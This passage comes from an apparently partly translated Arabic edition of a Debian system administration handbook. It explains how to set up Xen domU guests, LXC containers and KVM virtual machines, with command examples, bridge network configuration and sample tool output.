The hypervisor also brings xen-utils-4.11, which contains tools to control the hypervisor from the dom0. This in turn brings the appropriate standard library. During the installation of all that, configuration scripts also create a new entry in the GRUB bootloader menu, so as to start the chosen kernel in a Xen dom0. Note, however, that this entry is not usually set to be the first one in the list, but it will be selected by default.

بعد تثبيت هذه المتطلبات، يأتي دور اختبار سلوك dom0 نفسه؛ هذا يحتاج إعادة الإقلاع إلى المشرف ونواة Xen. يجب أن يقلع النظام بالأسلوب العادي، مع بعض الرسائل الإضافية على الشاشة خلال خطوات التهيئة المبكرة.

الآن حان وقت تثبيت أنظمة مفيدة على نطاقات domU، باستخدام الأدوات من حزمة xen-tools. توفر هذه الحزمة الأمر xen-create-image، الذي يؤتمت معظم المهمة. البارامتر الإجباري الوحيد هو --hostname، لإعطاء اسم للنطاق domU؛ الخيارات الأخرى هامة، لكن يمكن تخزينها في ملف الضبط /etc/xen-tools/xen-tools.conf، وغيابها من سطر الأوامر لا يسبب خطأ. من المهم إذاً التحقق من محتويات هذا الملف قبل إنشاء الصور، أو استخدام بارامترات إضافية عند استدعاء xen-create-image. نذكر من البارامترات الهامة:

--memory، لتحديد كمية RAM المخصصة للنظام الجديد؛

--size و --swap، لتحديد حجم ”الأقراص الظاهرية“ المتاحة للـ domU؛

--debootstrap-cmd, to specify the which debootstrap command is used. The default is debootstrap if debootstrap and cdebootstrap are installed. In that case, the --dist option will also most often be used (with a distribution name such as buster).

التعمق أكثر تثبيت نظام آخر غير دبيان في domU

في حال تثبيت نظام تشغيل لا يعتمد على نواة لينكس، يجب الانتباه لتحديد النواة التي يجب أن يستخدمها domU، عبر استخدام الخيار --kernel.

يبين --dhcp أن الحصول على إعدادات الشبكة في domU يتم من خلال DHCP بينما يسمح --ip بتحديد عنوان IP ستاتيكي (ثابت).

أخيراً، يجب اختيار طريقة التخزين للصور المنشأة (التي سيراها domU على أنها أقراص صلبة). أبسط طريقة، التي تقابل الخيار --dir، هي إنشاء ملف على dom0 لكل جهاز يجب تقديمه للـ domU. هناك بديل للأنظمة التي تستخدم LVM، وهو استخدام الخيار --lvm، متبوعاً باسم مجموعة حيزات (VG)؛ عندئذ سينشئ xen-create-image حيزاً منطقيًا جديداً داخل تلك المجموعة، وسيكون هذا الحيز الجديد متاحاً للـ domU بشكل قرص صلب.

ملاحظة التخزين في domU

يمكن تصدير أقراص صلبة كاملة إلى domU، كما يمكن تصدير أقسام الأقراص، أو مصفوفات RAID أو حيزات LVM منطقية موجودة مسبقًا. لكن هذه العمليات لا يديرها الأمر xen-create-image، لذلك يجب تحرير ملف إعداد صورة Xen بعد إنشاءه أولاً باستخدام xen-create-image.

بعد تحديد هذه الخيارات، يمكننا إنشاء صورة domU:

# xen-create-image --hostname testxen --dhcp --dir /srv/testxen --size=2G --dist=buster --role=udev [...] General Information -------------------- Hostname : testxen Distribution : buster Mirror : http://deb.debian.org/debian Partitions : swap 512M (swap) / 2G (ext4) Image type : sparse Memory size : 256M Kernel path : /boot/vmlinuz-4.19.0-5-amd64 Initrd path : /boot/initrd.img-4.19.0-5-amd64 [...] Logfile produced at: /var/log/xen-tools/testxen.log Installation Summary --------------------- Hostname : testxen Distribution : buster MAC Address : 00:16:3E:0C:74:2F IP Address(es) : dynamic SSH Fingerprint : SHA256:PuAGX4/4S07Xzh1u0Cl2tL04EL5udf9ajvvbufBrfvU (DSA) SSH Fingerprint : SHA256:ajFTX54eakzolyzmZku/ihq/BK6KYsz5MewJ98BM5co (ECDSA) SSH Fingerprint : SHA256:/sFov86b+rD/bRSJoHKbiMqzGFiwgZulEwpzsiw6aSc (ED25519) SSH Fingerprint : SHA256:/NJg/CcoVj+OLE/cL3yyJINStnla7YkHKe3/xEdVGqc (RSA) Root Password : EwmQMHtywY9zsRBpqQuxZTb

لدينا الآن حاسوب ظاهري، لكنه لا يعمل حاليًا (وبالتالي فهو لا يشغل سوى المساحة على القرص الصلب في dom0). طبعاً يمكننا إنشاء المزيد من الصور، وربما استخدمنا بارامترات أخرى.

Before turning these virtual machines on, we need to define how they'll be accessed. They can of course be considered as isolated machines, only accessed through their system console, but this rarely matches the usage pattern. Most of the time, a domU will be considered as a remote server, and accessed only through a network. However, it would be quite inconvenient to add a network card for each domU; which is why Xen allows creating virtual interfaces that each domain can see and use in a standard way. Note that these cards, even though they're virtual, will only be useful once connected to a network, even a virtual one. Xen has several network models for that:

أبسط نموذج هو النموذج الجسري bridge model؛ وفيه تعمل جميع بطاقات eth0 (في أنظمة dom0 وdomU على حد سواء) كما لو كانت موصولة مباشرة مع تحويلة إيثرنت Ethernet switch.

بعدها يأتي نموذج التوجيه routing model، حيث يعمل dom0 كموجه (راوتر) ما بين أنظمة domU والشبكة الخارجية (الفيزيائية).

أخيراً، نموذج NAT، وفيه يصل dom0 ثانية بين أنظمة domU وباقي عناصر الشبكة، لكن لا يمكن الوصول مباشرة من الخارج إلى أنظمة domU، وتمر البيانات عبر dom0 باستخدام network address translation (ترجمة عنوان الشبكة).

هذه الأنماط الثلاثة تحتاج عدداً من الواجهات ذات المسميات الغريبة، مثل vif*، وveth*، ‏peth* وأيضًا xenbr0. يرتب مشرف Xen هذه الواجهات في التخطيط الذي يعرفه المستخدم، حيث يتم التحكم بأدوات من فضاء المستخدم (user-space tools). سوف نقتصر على شرح النموذج الجسري، بما أن نموذج NAT ونموذج التوجيه يناسبان بعض الحالات الخاصة فقط.

The standard configuration of the Xen packages does not change the system-wide network configuration. However, the xend daemon is configured to integrate virtual network interfaces into any pre-existing network bridge (with xenbr0 taking precedence if several such bridges exist). We must therefore set up a bridge in /etc/network/interfaces (which requires installing the bridge-utils package, which is why the xen-utils-4.11 package recommends it) to replace the existing eth0 entry:

auto xenbr0 iface xenbr0 inet dhcp bridge_ports eth0 bridge_maxwait 0

After rebooting to make sure the bridge is automatically created, we can now start the domU with the Xen control tools, in particular the xl command. This command allows different manipulations on the domains, including listing them and, starting/stopping them. You might need to increase the default memory by editing the variable memory from configuration file (in this case, /etc/xen/testxen.cfg). Here we have set it to 1024 (megabytes).

# xl list Name ID Mem VCPUs State Time(s) Domain-0 0 1894 2 r----- 63.5 # xl create /etc/xen/testxen.cfg Parsing config from /etc/xen/testxen.cfg # xl list Name ID Mem VCPUs State Time(s) Domain-0 0 1505 2 r----- 100.0 testxen 13 1024 0 --p--- 0.0

أدوات اختيار أدوات إدارة أجهزة Xen الظاهرية

في دبيان 7 والإصدارات الأقدم، كانت xm هي الأداة النصية المعيارية لإدارة أجهزة Xen الظاهرية. لكنها استبدلت الآن بالأداة xl المتوافقة مع الأداة القديمة بشكل كبير. لكن هناك أدوات أخرى متاحة: من الأدوات البديلة هناك virsh التابعة لمشروع libvirt وxe من XAPI (النسخة التجارية من Xen التي تقدمها XenServer).

تحذير domU واحد فقط لكل صورة!

While it is of course possible to have several domU systems running in parallel, they will all need to use their own image, since each domU is made to believe it runs on its own hardware (apart from the small slice of the kernel that talks to the hypervisor). In particular, it isn't possible for two domU systems running simultaneously to share storage space. If the domU systems are not run at the same time, it is, however, quite possible to reuse a single swap partition, or the partition hosting the /home filesystem.

لاحظ أن النطاق testxen يستهلك ذاكرة حقيقية من الـRAM المتاحة للنطاق dom0، وليست ذاكرة ظاهرية. يجب أخذ الحيطة إذن عند بناء مخدم لاستضافة نسخ Xen، وتزويده بذاكرة فيزيائية مناسبة.

ڤوالا! آلتنا الظاهرية قيد الإقلاع. يمكننا الوصول إليها بإحدى طريقتين. الطريقة المعتادة هي الاتصال بها ”عن بعد“ عبر الشبكة، كما كنا سنتصل بأي حاسب حقيقي؛ هذا يحتاج عادة مخدم DHCP أو بعض إعدادات DNS. الطريقة الأخرى، ولعلها الطريقة الوحيدة إذا كانت إعدادات الشبكة غير صحيحة، هي استخدام طرفية hvc0، باستخدام الأمر xl console:

# xl console testxen [...] Debian GNU/Linux 10 testxen hvc0 testxen login:

بعدها يمكنك بدء جلسة، كما لو كنت تجلس وراء لوحة مفاتيح الحاسب الظاهري. يتم الانفصال عن هذه الطرفية بالمفتاحين Control+]‎.

تلميح الوصول للطرفية مباشرة

أحياناً يرغب المرء بتشغيل domU والوصول إلى طرفية النظام فوراً؛ ولذلك يقبل الأمر xl create الخيار -c. تشغيل domU مع هذا الخيار سوف يعرض كل الرسائل مع إقلاع النظام.

أدوات OpenXenManager

OpenXenManager (من الحزمة openxenmanager) هي واجهة رسومية تسمح بإدارة نطاقات Xen عن بعد بالاستفادة من Xen API. تستطيع هذه الواجهة إذن التحكم بنطاقات Xen عن بعد، وهي توفر معظم مزايا الأمر xl.

بعد أن يعمل domU، يمكن استخدامه مثل أي مخدم آخر (بما أنه نظام غنو/لينكس في النهاية). لكن بما أنه حاسب ظاهري فهذه الحالة تسمح ببعض المزايا الإضافية. مثلاً، يمكن إيقاف عمل domU مؤقتاً ثم استكماله، بالأمرين xl pause وxl unpause. لاحظ أن الذاكرة المخصصة للنطاق domU تبقى محجوزة أثناء الإيقاف المؤقت، رغم أنه لا يستهلك أي طاقة حسابية من المعالج. الأمران xl save وxl restore جديران بالاهتمام أيضاً: حفظ domU يحرر الموارد التي كان يستهلكها، بما في ذلك ذاكرة RAM. لا يلاحظ domU عند استعادته (أو استكمال عمله) أي شيء إلا مرور الزمن. إذا كان domU يعمل عند إيقاف تشغيل dom0، فسوف تحفظ سكربتات الحزمة حالة domU آلياً، وتستعيدها عند الإقلاع التالي. هذا يؤدي طبعاً للمتاعب التي تظهر عادة عند إسبات الحاسب المحمول. على سبيل المثال؛ إذا تعلق domU لفترة طويلة، فقد تلغى اتصالاته الشبكية. لاحظ أيضاً أن Xen حتى الآن غير متوافق مع شريحة واسعة من واجهة ACPI لإدارة الطاقة، ما يحول دون إمكانية إسبات النظام المستضيف (dom0).

توثيق خيارات xl

تحتاج معظم أوامر xl الفرعية إلى متغير واحد أو أكثر، غالباً هي اسم domU. هذه المتغيرات مشروحة بشكل جيد في صفحة التعليمات xl(1)‎.

يمكن إيقاف أو إعادة تشغيل domU إما من داخل domU نفسه (بالأمر shutdown) أو من dom0، بالأمر xl shutdown أو xl reboot.

التعمق أكثر خيارات Xen المتقدمة

Xen has many more features than we can describe in these few paragraphs. In particular, the system is very dynamic, and many parameters for one domain (such as the amount of allocated memory, the visible hard drives, the behavior of the task scheduler, and so on) can be adjusted even when that domain is running. A domU can even be migrated across servers without being shut down, and without losing its network connections! For all these advanced aspects, the primary source of information is the official Xen documentation.

→ https://xenproject.org/help/documentation/

12.2.2. ‏LXC

بالرغم من أن LXC يستخدم لبناء ”حواسيب ظاهرية“، إلا أن LXC –إذا تحرينا الدقة– ليس نظام محاكاة، بل هو نظام لعزل مجموعات من العمليات عن بعضها مع أنها تعمل على نفس الحاسب المستضيف. يستفيد هذا النظام من مجموعة من التطورات الحديثة في النواة لينكس، التي تعرف باسم مجموعات التحكم—control groups، التي تسمح لعدة زمر مختلفة من العمليات التي تدعى ”المجموعات“ برؤية بعض مظاهر النظام الكلي بشكل مختلف. من أبرز هذه المظاهر هي أرقام تعريف العمليات PIDs، وإعدادات الشبكة، ونقاط الربط في نظام الملفات. لا تستطيع أي مجموعة عمليات معزولة مثل هذه الوصول بأي شكل إلى العمليات الأخرى في النظام، كما يمكن تقييد وصولها إلى نظام الملفات بجزء فرعي محدد. يمكن لها أن تملك واجهة شبكية وجدول توجيه خاصين بها، ويمكن ضبطها حتى ترى مجموعة جزئية فقط من الأجهزة المتاحة المتصلة بالنظام.

These features can be combined to isolate a whole process family starting from the init process, and the resulting set looks very much like a virtual machine. The official name for such a setup is a “container” (hence the LXC moniker: LinuX Containers), but a rather important difference with “real” virtual machines such as provided by Xen or KVM is that there is no second kernel; the container uses the very same kernel as the host system. This has both pros and cons: advantages include excellent performance due to the total lack of overhead, and the fact that the kernel has a global vision of all the processes running on the system, so the scheduling can be more efficient than it would be if two independent kernels were to schedule different task sets. Chief among the inconveniences is the impossibility to run a different kernel in a container (whether a different Linux version or a different operating system altogether).

ملاحظة حدود العزل في LXC

حاويات LXC لا توفر درجة العزل التي تحصل عليها عند استخدام محاكيات أو حلول حوسبة ظاهرية أثقل. على وجه الخصوص:

بما أن النواة مشتركة بين النظام المستضيف والحاويات، فإن العمليات المحجوزة في الحاويات ستبقى تصل لرسائل النواة، ما قد يؤدي لتسرب المعلومات إذا بثت الحاوية الرسائل؛

للأسباب ذاتها، إذا تم اختراق حاوية وتم استغلال ثغرة في النواة، فقد تتأثر الحاويات الأخرى أيضًا؛

في نظام الملفات، تتحقق النواة من الصلاحيات وفقاً للمعرفات العددية للمستخدمين والمجموعات؛ وربما كانت هذه المعرفات تشير لمستخدمين ومجموعات مختلفة حسب الحاوية، ويجب أخذ هذا بعين الاعتبار عند مشاركة أجزاء قابلة للكتابة من نظام الملفات بين عدد من الحاويات.

بما أننا نتعامل مع تقنية عزل وليست محاكاة وحسب، فإن إعداد حاويات LXC أعقد من تشغيل مثبت دبيان على جهاز ظاهري. سوف نشرح بعض المتطلبات الأولية، ثم نتجه إلى إعداد الشبكة؛ وبعدها سوف نتمكن من إنشاء النظام الذي سيعمل ضمن الحاوية.

12.2.2.1. الخطوات الأولية

تحوي الحزمة lxc الأدوات اللازمة لتشغيل LXC، ويجب تثبيتها إذن.

يحتاج LXC أيضاً لنظام مجموعات التحكم control groups للإعداد، وهو نظام ملفات ظاهري يتم ربطه على /sys/fs/cgroup. بما أن دبيان 8 قد انتقلت إلى systemd، الذي يعتمد أيضاً على مجموعات التحكم، فهذا يتم تلقائياً أثناء الإقلاع دون الحاجة لأي عمليات إضافية.

12.2.2.2. إعداد الشبكة

The goal of installing LXC is to set up virtual machines; while we could, of course, keep them isolated from the network, and only communicate with them via the filesystem, most use cases involve giving at least minimal network access to the containers. In the typical case, each container will get a virtual network interface, connected to the real network through a bridge. This virtual interface can be plugged either directly onto the host's physical network interface (in which case the container is directly on the network), or onto another virtual interface defined on the host (and the host can then filter or route traffic). In both cases, the bridge-utils package will be required.

The simple case is just a matter of editing /etc/network/interfaces, moving the configuration for the physical interface (for instance, eth0) to a bridge interface (usually br0), and configuring the link between them. For instance, if the network interface configuration file initially contains entries such as the following:

auto eth0 iface eth0 inet dhcp

فيجب تعطيلها واستبدالها بالتالي:

#auto eth0 #iface eth0 inet dhcp auto br0 iface br0 inet dhcp bridge-ports eth0

إن نتيجة هذا الإعداد ستشبه ما نحصل عليه لو كانت الحاويات أجهزة تتصل بشبكة المستضيف الفيزيائية نفسها. يدير الإعداد ”الجسري“ حركة إطارات الإيثرنت بين جميع الواجهات المجسَّرة، بما فيها الواجهة الفيزيائية eth0 بالإضافة للواجهات الظاهرية المعرفة في الحاويات.

In cases where this configuration cannot be used (for instance, if no public IP addresses can be assigned to the containers), a virtual tap interface will be created and connected to the bridge. The equivalent network topology then becomes that of a host with a second network card plugged into a separate switch, with the containers also plugged into that switch. The host must then act as a gateway for the containers if they are meant to communicate with the outside world.

هذا الإعداد ”الغني“ يحتاج –بالإضافة إلى حزمة bridge-utils– إلى الحزمة vde2؛ عندئذ يصبح ملف /etc/network/interfaces كما يلي:

# Interface eth0 is unchanged auto eth0 iface eth0 inet dhcp # Virtual interface auto tap0 iface tap0 inet manual vde2-switch -t tap0 # Bridge for containers auto br0 iface br0 inet static bridge-ports tap0 address 10.0.0.1 netmask 255.255.255.0

بعدها يمكن إعداد الشبكة إما ستاتيكيًا في الحاويات، أو ديناميكيًا باستخدام مخدم DHCP يعمل على المستضيف. إذا استخدم مخدم DHCP فيجب إعداده لإجابة الطلبات على الواجهة br0.

12.2.2.3. إعداد النظام

دعنا الآن نضبط نظام الملفات الذي ستستخدمه الحاوية. بما أن هذا ”الجهاز الظاهري“ لن يعمل على العتاد مباشرة، فيجب إجراء بعض التعديلات على نظام الملفات حتى يتناسب مع تنظيم أنظمة الملفات القياسية، خصوصاً بالنسبة للنواة والأجهزة والطرفيات. لحسن الحظ، تحوي lxc سكربتات تؤتمت معظم عملية الضبط هذه. مثلاً، يمكن استخدام الأوامر التالية (التي تحتاج الحزمتين debootstrap و rsync) لتثبيت حاوية دبيان:

root@mirwiz:~# lxc-create -n testlxc -t debian debootstrap is /usr/sbin/debootstrap Checking cache download in /var/cache/lxc/debian/rootfs-stable-amd64 ... Downloading debian minimal ... I: Retrieving Release I: Retrieving Release.gpg [...] Download complete. Copying rootfs to /var/lib/lxc/testlxc/rootfs... [...] root@mirwiz:~#

لاحظ أن إنشاء نظام الملفات يتم أولاً في /var/cache/lxc، ثم ينقل إلى المجلد الوجهة. هذا يسمح بإنشاء حاويات متطابقة أسرع بكثير، نظراً لأنك تحتاج للنسخ فقط لا أكثر.

Note that the Debian template creation script accepts an --arch option to specify the architecture of the system to be installed and a --release option if you want to install something else than the current stable release of Debian. You can also set the MIRROR environment variable to point to a local Debian mirror.

يحوي نظام الملفات المنشأ حديثاً نظام دبيان أصغري، ولا تملك الحاوية افتراضياً أي واجهة شبكية (عدا واجهة loopback). بما أن هذا غير مرغوب، سوف نعدل ملف إعداد الحاوية (/var/lib/lxc/testlxc/config) ونضيف بضعة مدخلات lxc.network.*:

lxc.net.0.type = veth lxc.net.0.flags = up lxc.net.0.link = br0 lxc.net.0.hwaddr = 4a:49:43:49:79:20

هذه المدخلات تعني، على الترتيب، أنه سيتم إنشاء واجهة شبكية ظاهرية في الحاوية؛ وسيتم تنشيطها آليًا كلما تم تشغيل تلك الحاوية؛ وأنها ستتصل تلقائياً بالجسر br0 على المستضيف؛ وأن عنوان MAC الخاص بها سيكون كما هو محدد. إذا كانت هذه المدخلة الأخيرة ناقصة أو معطلة، سيتم توليد عنوان MAC عشوائي.

من المدخلات المفيدة أيضًا التي يمكن إضافتها لهذا الملف هي تعيين اسم المستضيف hostname:

lxc.uts.name = testlxc

12.2.2.4. تشغيل الحاوية

Now that our virtual machine image is ready, let's start the container with lxc-start --daemon --name=testlxc.

In LXC releases following 2.0.8, root passwords are not set by default. We can set one running lxc-attach -n testlxc passwd. Now we can login:

root@mirwiz:~# lxc-console -n testlxc Debian GNU/Linux 9 testlxc console testlxc login: root Password: Linux testlxc 4.19.0-5-amd64 #1 SMP Debian 4.19.37-5 (2019-06-19) x86_64 The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright. Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. root@testlxc:~# ps auxwf USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND root 1 0.0 0.2 56736 6608 ? Ss 09:28 0:00 /sbin/init root 32 0.0 0.1 46096 4680 ? Ss 09:28 0:00 /lib/systemd/systemd-journald root 75 0.0 0.1 67068 3328 console Ss 09:28 0:00 /bin/login -- root 82 0.0 0.1 19812 3664 console S 09:30 0:00 \_ -bash root 88 0.0 0.1 38308 3176 console R+ 09:31 0:00 \_ ps auxwf root 76 0.0 0.1 69956 5636 ? Ss 09:28 0:00 /usr/sbin/sshd -D root@testlxc:~#

نحن الآن داخل الحاوية؛ ووصولنا إلى العمليات مقيد بالعمليات التي بدأت من داخل الحاوية نفسها، كما أن وصولنا إلى نظام الملفات مقيد إلى المجموعة الجزئية المعينة لهذه الحاوية من نظام الملفات الكامل (/var/lib/lxc/testlxc/rootfs). يمكننا الخروج من الطرفية باستخدام Control+a q.

لاحظ أننا بدأنا الحاوية كعملية في الخلفية، بفضل الخيار --daemon للأمر lxc-start. يمكننا مقاطعة الحاوية بالأمر lxc-stop --name=testlxc.

تحوي الحزمة lxc سكربت تهيئة يستطيع تشغيل حاوية واحدة أو أكثر آلياً عند إقلاع المستضيف (يعتمد السكربت على أمر lxc-autostart الذي يشغل كل الحاويات التي يكون خيار lxc.start.auto فيها مضبوطاً على القيمة 1). يمكن التحكم بدقة أكبر بترتيب التشغيل من خلال lxc.start.order وlxc.group: افتراضياً، يبدأ السكربت أولاً بتشغيل الحاويات التي تنتمي للمجموعة onboot ثم الحاويات التي لا تنتمي لأي مجموعة. وفي كلا الحالتين، يتحدد الترتيب فيما بين أعضاء المجموعة الواحدة من خلال الخيار lxc.start.order.

التعمق أكثر المحاكاة العملاقة

بما أن LXC هو نظام عزل خفيف جداً، يمكن تكييفه للاستضافة الكبيرة للعديد من المخدمات الظاهرية. لعل إعداد الشبكة سيكون أعقد بقليل مما شرحناه هنا، لكن الإعداد ”الغني“ باستخدام واجهات tap وveth يجب أن يكون كافيًا في العديد من الحالات.

ربما كان مناسباً أيضًا مشاركة أجزاء من نظام الملفات، مثل /usr و/lib، لتفادي تكرار البرمجيات المشتركة بين عدة حاويات. هذا يحقق عادة باستخدام مدخلات lxc.mount.entry في ملف إعداد الحاويات. هناك أثر جانبي جميل هنا وهو أن العمليات ستستهلك ذاكرة أقل في هذه الحالة، لأن النواة تقدر على اكتشاف البرامج المشتركة. عندئذ يمكن تخفيض الكلفة الهامشية لإضافة حاوية جديدة للمساحة التخزينية المخصصة لبياناتها، والعمليات القليلة الإضافية التي ستديرها النواة وتجدولها.

لم نشرح كافة الخيارات المتاحة، بالطبع؛ يمكنك الحصول على معلومات أوسع من صفحات الكتيبات lxc(7)‎ وlxc.container.conf(5)‎ والصفحات التي تشيران إليها.

12.2.3. المحاكاة في KVM

KVM، التي ترمز إلى Kernel-based Virtual Machine، هي أولاً وأخيراً وحدة من وحدات النواة توفر معظم البنية التحتية التي يمكن أن يستفيد منها برنامج المحاكاة، لكنها ليست محاكيًا. التحكم الفعلي بالمحاكاة يتم من خلال تطبيق مبني على QEMU. لا تقلق إذا كان هذا القسم يذكر أوامر تبدأ ب qemu-*: نحن لا نزال نتحدث عن KVM.

لقد دمجت KVM منذ البداية في النواة لينكس، بخلاف نظم المحاكاة الأخرى. اختر مطوروها استغلال مجموعات تعليمات المعالج المخصصة للمحاكاة (Intel-VT و AMD-V)، ما جعل KVM خفيفة الوزن، وأنيقة وغير شرهة للموارد. الجانب السلبي، طبعاً، هو أن KVM لا تعمل إلا على الحواسيب التي تملك معالجات مناسبة. بالنسبة للحواسيب ذات معمارية x86، يمكنك التأكد أن المعالج مناسب عن طريق البحث عن ”vmx“ أو ”svm“ في أعلام المعالج المذكورة في /proc/cpuinfo.

مع دعم Red Hat النشط لتطوير KVM، فقد أصبحت بشكل أو بآخر المرجع في الحوسبة الظاهرية في لينكس.

12.2.3.1. الخطوات الأولية

بعكس الأدوات الأخرى مثل VirtualBox، لا تقدم KVM نفسها أي واجهة للمستخدم لإنشاء وإدارة الحواسيب الظاهرية. تقدم حزمة qemu-kvm برنامجاً تنفيذيًا قادراً على تشغيل حاسوب ظاهري، بالإضافة إلى سكربت تهيئة يحمل وحدات النواة المناسبة.

لحسن الحظ، توفر Red Hat أيضًا مجموعة أخرى من الأدوات لمعالجة هذه المشكلة، من خلال تطوير المكتبة libvirt وأدوات virtual machine manager المقترنة بها. تسمح libvirt بإدارة الحواسيب الظاهرية بأسلوب قياسي، بغض النظر عن نظام المحاكاة المستخدم وراء الكواليس (حاليًا هناك دعم لنظم QEMU، وKVM، وXen، وLXC، وOpenVZ، وVirtualBox، وVMWare وأيضاً UML). ‏virtual-manager هي واجهة رسومية تعتمد على libvirt لإنشاء وإدارة الحواسيب الظاهرية.

We first install the required packages, with apt-get install libvirt-clients libvirt-daemon-system qemu-kvm virtinst virt-manager virt-viewer. libvirt-daemon-system provides the libvirtd daemon, which allows (potentially remote) management of the virtual machines running of the host, and starts the required VMs when the host boots. libvirt-clients provides the virsh command-line tool, which allows controlling the libvirtd-managed machines.

تقدم الحزمة virtinst الأداة virt-install، التي تسمح بإنشاء الحواسيب الظاهرية من سطر الأوامر. أخيراً، يسمح virt-viewer بالوصول إلى الطرفية الرسومية للحاسب الظاهري.

12.2.3.2. إعداد الشبكة

كما في Xen و LXC، أكثر الخيارات شيوعاً عند إعداد الشبكة هو استخدام جسر يجمع الواجهات الشبكية لعدة حواسيب ظاهرية (انظر قسم 12.2.2.2, “إعداد الشبكة”).

أو يمكن، كما هو الإعداد الافتراضي الذي تقدمه KVM، إعطاء الحاسب الظاهري عنوناً داخلياً (ضمن المجال 192.168.122.0/24)، وإعداد NAT حتى يتمكن الجهاز الظاهري من الوصول إلى الشبكة الخارجية.

سنفترض في تتمة هذا القسم أن المستضيف لديه واجهة فيزيائية eth0 وجسر br0، وأن الأولى متصلة مع الأخير.

12.2.3.3. التثبيت باستخدام virt-install

يشبه إنشاء حاسب ظاهري تثبيت النظم العادية كثيراً، عدا أن مواصفات الحواسب الظاهري تُحدَّد في أمر طويل جداً.

عملياً، هذا يعني أننا سنستخدم برنامج تثبيت دبيان، من خلال إقلاع الحاسب الظاهري من سواقة DVD-ROM ظاهرية ترتبط مع صورة DVD دبيان مخزنة على النظام المستضيف. سوف يُصدِّر الجهاز الظاهري طرفيته الرسومية عبر بروتوكول VNC (انظر قسم 9.2.2, “استخدام سطوح المكتب الرسومية البعيدة” للتفاصيل)، ما يسمح لنا بالتحكم بعملية التثبيت.

نحتاج أولاً إخبار libvirtd عن موقع تخزين صور الأقراص، ما لم يكن الموقع الافتراضي (/var/lib/libvirt/images/) مناسباً.

root@mirwiz:~# mkdir /srv/kvm root@mirwiz:~# virsh pool-create-as srv-kvm dir --target /srv/kvm Pool srv-kvm created root@mirwiz:~#

تلميح أضف مستخدمك إلى المجموعة libvirt

All samples in this section assume that you are running commands as root. Effectively, if you want to control a local libvirt daemon, you need either to be root or to be a member of the libvirt group (which is not the case by default). Thus if you want to avoid using root rights too often, you can add yourself to the libvirt group and run the various commands under your user identity.

دعنا نبدأ الآن عملية تثبيت الحاسب الظاهري، وإلقاء نظرة قريبة على أهم خيارات virt-install. هذا الأمر يسجل الجهاز الظاهري وبارامتراته عند libvirtd، ثم يشغله حتى نتابع عملية التثبيت.

# virt-install --connect qemu:///system --virt-type kvm --name testkvm --memory 1024 --disk /srv/kvm/testkvm.qcow,format=qcow2,size=10 --cdrom /srv/isos/debian-10.2.0-amd64-netinst.iso --network bridge=virbr0 --graphics vnc --os-type linux --os-variant debian10 Starting install... Allocating 'testkvm.qcow' | 10 GB 00:00

يحدد خيار --connect ”المشرف“ المستخدم. شكله هو شكل URL يحوي اسم نظام المحاكاة (xen://‏، qemu://‏، lxc://‏، openvz://‏، vbox://، وهكذا) والحاسب الذي يجب أن يستضيف الجهاز الظاهري (يمكن ترك هذا فارغًا في حالة الاستضافة المحلية). لالإضافة لذلك، في حالة استخدام QEMU/KVM، يستطيع كل مستخدم إدارة الحواسيب الظاهرية ولكن بصلاحيات مقيدة، ويسمح مسار URL بتمييز حواسيب ”النظام“ (/system) من الحواسيب الظاهرية (/session).

بما أن طريقة إدارة KVM تطابق طريقة إدارة QEMU، فإن الخيار --virt-type kvm يسمح بتحديد استخدام KVM بالرغم من أن URL يبدو وكأنه QEMU.

خيار --name يحدد اسمًا (فريداً) للجهاز الظاهري.

The --memory option allows specifying the amount of RAM (in MB) to allocate for the virtual machine.

The --disk specifies the location of the image file that is to represent our virtual machine's hard disk; that file is created, unless present, with a size (in GB) specified by the size parameter. The format parameter allows choosing among several ways of storing the image file. The default format (qcow2) allows starting with a small file that only grows when the virtual machine starts actually using space.

يستخدم خيار --cdrom للإشارة إلى موقع القرص الضوئي المستخدم للتثبيت. يمكن أن يكون المسار مساراً محلياً لصورة ISO، أو URL يمكن الحصول منه على الملف، أو ملف جهاز يمثل سواقة CD-ROM فيزيائية (مثل /dev/cdrom).

يحدد --network طريقة دمج بطاقة الشبكة الظاهرية في إعدادات الشبكة في المستضيف. السلوك الافتراضي (الذي حددنا استخدامه صراحة في مثالنا) هو دمجها في أي جسر شبكي سابق. إذا لم يكن هناك أي جسر من قبل، فلن يستطيع الجهاز الظاهري الوصول إلى الشبكة الفيزيائية إلا من خلال NAT، لذلك يأخذ عنواناً ضمن مجال شبكة فرعية داخلية (192.168.122.0/24).

--graphics vnc states that the graphical console should be made available using VNC. The default behavior for the associated VNC server is to only listen on the local interface; if the VNC client is to be run on a different host, establishing the connection will require setting up an SSH tunnel (see قسم 9.2.1.3, “إنشاء الأنفاق المشفرة باستخدام توجيه المنافذ”). Alternatively, --graphics vnc,listen=0.0.0.0 can be used so that the VNC server is accessible from all interfaces; note that if you do that, you really should design your firewall accordingly.

يسمح الخياران --os-type و--os-variant بتحسين بعض متغيرات الجهاز الظاهري، اعتماداً على بعض المزايا المعروفة لنظام التشغيل المذكور هنا.

عند هذه النقطة، بدأ الجهاز الظاهري يعمل، ونحتاج الاتصال بالطرفية الرسومية لمتابعة عملية التثبيت. إذا تم تنفيذ العملية السابقة من بيئة سطح مكتب رسومية، فيجب أن يبدأ هذا الاتصال آلياً. إذا لم يحدث هذا، أو إذا كنا نعمل عن بعد، يمكن تشغيل virt-viewer من أي بيئة رسومية لفتح الطرفية الرسومية (لاحظ أن كلمة سر الجذر للنظام البعيد ستطلب مرتين لأن العملية تحتاج لاتصالي SSH):

$ virt-viewer --connect qemu+ssh://root@server/system testkvm root@server's password: root@server's password:

عند انتهاء عملية التثبيت، تتم إعادة تشغيل الجهاز الظاهري، ويصبح جاهزاً عند ذلك للاستخدام.

12.2.3.4. إدارة الأجهزة باستخدام virsh

بعد أن انتهينا من التثبيت، دعنا نرى كيف ندير الأجهزة الظاهرية المتوفرة. أول شيئ سنجربه هو طلب قائمة بالأجهزة التي تديرها libvirtd:

# virsh -c qemu:///system list --all Id Name State ---------------------------------- 8 testkvm shut off

دعنا نبدأ تشغيل جهازنا التجريبي:

# virsh -c qemu:///system start testkvm Domain testkvm started

يمكننا الآن الحصول على تعليمات الاتصال بالطرفية الرسومية (يمكن تمرير لوحة عرض VNC المعادة كمتغير للبرنامج vncviewer):

# virsh -c qemu:///system vncdisplay testkvm 127.0.0.1:0

من أوامر virsh الفرعية المتاحة أيضاً:

reboot لإعادة إقلاع الجهاز الظاهري؛

